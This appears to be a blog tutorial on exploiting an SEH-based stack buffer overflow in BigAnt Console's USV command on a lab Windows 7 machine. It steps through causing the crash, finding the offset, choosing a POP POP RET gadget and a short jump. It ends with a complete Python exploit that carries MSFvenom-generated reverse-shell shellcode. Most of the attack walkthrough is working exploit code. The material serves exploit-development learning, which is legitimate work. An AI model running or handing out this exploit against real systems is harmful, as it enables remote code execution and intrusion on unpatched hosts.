Introduction

Structured exception handling (SEH) is a Microsoft extension to C to handle certain exceptional code situations, such as hardware faults.

Developers will often make use of similar constructs among different languages, such as try-catch, try-except or try-finally statements. Such structures will instruct the program to, if for some reason any error occurs, jump to the exception and execute its code block. The exception will usually be presented as a pop-up alert containing some generic error, such as The application has encountered an error and will exit.

C++
int TestDivisionByZeroFilter(){
    g_iDivisor = 1;

    return EXCEPTION_CONTINUE_EXECUTION;
}

int TestDivisionByZeroTryExcept(){
    int iValue = 0;

    __try    {
        iValue = g_iDividend / g_iDivisor;
    }
    __except(TestDivisionByZeroFilter()){
    }

    return iValue;
}

Windows SEHs are implemented in the form of a chain, where each exception handler record is 8-bytes long, and consists of two 4-byte addresses stored on after another, as can be visualized in the following diagram.

It is important to have this noted, as it will be necessary to calculate those addresses in the exploitation phase. The idea is to use those pointers to redirect the execution flow to a space containing the malicious code to be executed.

How Could It Be Abused?

Such structures are just equal to any other data on the stack, so it is prone to abuse as well. By overwriting the exception handler addresses, you can redirect the execution to a memory space containing some malicious code to be executed. The default behavior from Windows XP SP1 onwards is to zero all registers once a crash occurs, and that makes necessary for you as an attacker to overwrite the exception handler in a specific way, since you’ll probably face more modern systems on real-life engagements.

During a SEH-based overflow, ESP+8 holds a reference to the next Structured Exception Handler (nSEH), which means that if you manage to decrease the stack and execute a return, you will be able to execute whatever code is in nSEH. In this specific scenario, a POP POP RET gadget will be used for that matter, where each POP instruction will increase the ESP value by 4, making so that ESP points to nSEH. Executing the RET instruction at the end should then redirect the execution flow to the place where nSEH resides.

Exploitation

Setup – Causing the Crash

For this practical demonstration, a vulnerable software called BigAnt Console will be used, running on a 32bit Windows 7, with all defense mechanisms such as DEP, ASLR and Safe-SEH disabled.

Already knowing that the USV command is vulnerable, and that it must end with a double CRLF (a.k.a Carriage Return and Line Feed), we’ll first burst the buffer with 2500 A’s with the process attached in a debugger.

Python
#!/usr/bin/python
import socket

buffer = "A" * 2500

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.201.45", 6660))
s.send("USV " + buffer + "\r\n\r\n")

Taking a look at the debugger, it’s visible that the supplied input has caused the solution to crash, as an access violation can be noted.

After passing the exception and inspecting the SEH chain, we confirm the vulnerability, as the address has been overwritten with the supplied data.

You can also visualize this by scrolling down the stack in the debugger.

Identifying the Offset

Now knowing that this is SEH based, as the SEH pointers were overwritten, it is time to identify the offset necessary to reach the exception handler record in order to precisely overwrite it with data. This can be done by generating and sending a pattern, where one can choose between a handful of tools to do this, such as Mona or MSFvenom.

After sending the generated pattern, you can grab the value from the access violation, throw back in the selected tool and get the offset as the result, which in this case is 966.

This position means that the pointer to the exception handler is getting overwritten after those 966 bytes, meaning that the SEH structure start to get overwritten 4 bytes before, or 962. Now modifying the exploit to send the exact values, where A will fill all the offset space, B and C will be used to overwrite both pointers, and D will fill the remaining space in order to keep the buffer at the same initial size.

Python
#!/usr/bin/python
import socket

buffer = "A" * 962 + "BBBB" + "CCCC"
buffer += "D" * (2500-len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.201.45", 6660))
s.send("USV " + buffer + "\r\n\r\n")

Going back to the debugger, we can confirm that everything’s in place, as both nSEH and SEH were overwritten with the supplied data.

POP, POP, RET

In order to transfer the execution flow from SEH back to nSEH, a gadget with the POP POP RET instructions will be used. For that, one can use Mona to generate a text file with a bunch of gadgets.

The idea is to pick one that follows the POP register, POP register, RET instructions. The registers are not important in this case, as the intention here is to move the stack pointer towards higher addresses twice. There are some details to this, such as to not choose from the ones that end with clear returns (RET 0x10, for example), or DLLs that has the Rebase flag set to true, etc.

After choosing one, we will again modify the exploit to include the gadget’s address:

Python
#!/usr/bin/python
import socket

buffer = "A" * 962 + "BBBB"
buffer += "\x6a\x8c\x9c\x0f" # SEH 0x0f9c8c6a
buffer += "D" * (2500-len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.201.45", 6660))
s.send("USV " + buffer + "\r\n\r\n")

Relative Jump

Let’s then replace the B’s with breakpoints, execute and take a look at where we’re at.

Python
#!/usr/bin/python
import socket

buffer = "A" * 962
buffer += "\xcc\xcc\xcc\xcc" #nSEH
buffer += "\x6a\x8c\x9c\x0f" # SEH 0x0f9c8c6a
buffer += "D" * (2500-len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.201.45", 6660))
s.send("USV " + buffer + "\r\n\r\n")

Moving to the debugger, after passing the exception we land on the breakpoints (INT3) and start to execute them.

We can observe all the breakpoints, all the A’s before it, and the D’s after. We can now perform a short jump to land directly after those unwanted instructions, where all the INC ESP space will be filled the the malicious code.

Modifying the exploit again, replacing the breakpoints with a 6-bytes-forward jump.

Python
#!/usr/bin/python
import socket

buffer = "A" * 962
buffer += "\xeb\x06\x90\x90" #nSEH
buffer += "\x6a\x8c\x9c\x0f" # SEH 0x0f9c8c6a
buffer += "D" * (2500-len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.201.45", 6660))
s.send("USV " + buffer + "\r\n\r\n")

EB is the first byte of a short jump, and the second byte is a relative offset, which in this case is 6 forward, and then two NOPs to pad it into 4 bytes. Now’s the time to fuzz and detect possible bad characters, this can be done by placing a byte array in the exploit and manually excluding all the ones that aren’t properly interpreted. As it is a straightforward and repetitive process, it will be skipped.

Shellcode – Reaching Remote Code Execution

Now, with the help of MSFvenom to generate the shellcode, excluding the previously identified bad characters and specifying a reverse shell payload.

Lastly, placing it into the exploit, executing and getting the connection back to the attack machine.

Python
#!/usr/bin/python
import socket

payload =  b""
payload += b"\xba\x79\xa8\x2c\xbe\xda\xd3\xd9\x74\x24\xf4"
payload += b"\x5e\x31\xc9\xb1\x52\x31\x56\x12\x83\xee\xfc"
payload += b"\x03\x2f\xa6\xce\x4b\x33\x5e\x8c\xb4\xcb\x9f"
payload += b"\xf1\x3d\x2e\xae\x31\x59\x3b\x81\x81\x29\x69"
payload += b"\x2e\x69\x7f\x99\xa5\x1f\xa8\xae\x0e\x95\x8e"
payload += b"\x81\x8f\x86\xf3\x80\x13\xd5\x27\x62\x2d\x16"
payload += b"\x3a\x63\x6a\x4b\xb7\x31\x23\x07\x6a\xa5\x40"
payload += b"\x5d\xb7\x4e\x1a\x73\xbf\xb3\xeb\x72\xee\x62"
payload += b"\x67\x2d\x30\x85\xa4\x45\x79\x9d\xa9\x60\x33"
payload += b"\x16\x19\x1e\xc2\xfe\x53\xdf\x69\x3f\x5c\x12"
payload += b"\x73\x78\x5b\xcd\x06\x70\x9f\x70\x11\x47\xdd"
payload += b"\xae\x94\x53\x45\x24\x0e\xbf\x77\xe9\xc9\x34"
payload += b"\x7b\x46\x9d\x12\x98\x59\x72\x29\xa4\xd2\x75"
payload += b"\xfd\x2c\xa0\x51\xd9\x75\x72\xfb\x78\xd0\xd5"
payload += b"\x04\x9a\xbb\x8a\xa0\xd1\x56\xde\xd8\xb8\x3e"
payload += b"\x13\xd1\x42\xbf\x3b\x62\x31\x8d\xe4\xd8\xdd"
payload += b"\xbd\x6d\xc7\x1a\xc1\x47\xbf\xb4\x3c\x68\xc0"
payload += b"\x9d\xfa\x3c\x90\xb5\x2b\x3d\x7b\x45\xd3\xe8"
payload += b"\x2c\x15\x7b\x43\x8d\xc5\x3b\x33\x65\x0f\xb4"
payload += b"\x6c\x95\x30\x1e\x05\x3c\xcb\xc9\xea\x69\xeb"
payload += b"\x6f\x83\x6b\x0b\x70\x03\xe5\xed\x1a\xb3\xa3"
payload += b"\xa6\xb2\x2a\xee\x3c\x22\xb2\x24\x39\x64\x38"
payload += b"\xcb\xbe\x2b\xc9\xa6\xac\xdc\x39\xfd\x8e\x4b"
payload += b"\x45\x2b\xa6\x10\xd4\xb0\x36\x5e\xc5\x6e\x61"
payload += b"\x37\x3b\x67\xe7\xa5\x62\xd1\x15\x34\xf2\x1a"
payload += b"\x9d\xe3\xc7\xa5\x1c\x61\x73\x82\x0e\xbf\x7c"
payload += b"\x8e\x7a\x6f\x2b\x58\xd4\xc9\x85\x2a\x8e\x83"
payload += b"\x7a\xe5\x46\x55\xb1\x36\x10\x5a\x9c\xc0\xfc"
payload += b"\xeb\x49\x95\x03\xc3\x1d\x11\x7c\x39\xbe\xde"
payload += b"\x57\xf9\xde\x3c\x7d\xf4\x76\x99\x14\xb5\x1a"
payload += b"\x1a\xc3\xfa\x22\x99\xe1\x82\xd0\x81\x80\x87"
payload += b"\x9d\x05\x79\xfa\x8e\xe3\x7d\xa9\xaf\x21"

buffer = "A" * 962
buffer += "\xeb\x06\x90\x90" #nSEH
buffer += "\x6a\x8c\x9c\x0f" # SEH 0x0f9c8c6a
buffer += "\x90" * 4
buffer += payload
buffer += "D" * (2500-len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.201.45", 6660))
s.send("USV " + buffer + "\r\n\r\n")

Although this is a really simple example of such vulnerability, as this can become quite complex considering a modern binary running on a patched system with all the defenses in place (which you’ll have to circumvent) it serves well as a step stone for learning.

References and Further Reading


0 Comments

Leave a Reply

Avatar placeholder

Your email address will not be published. Required fields are marked *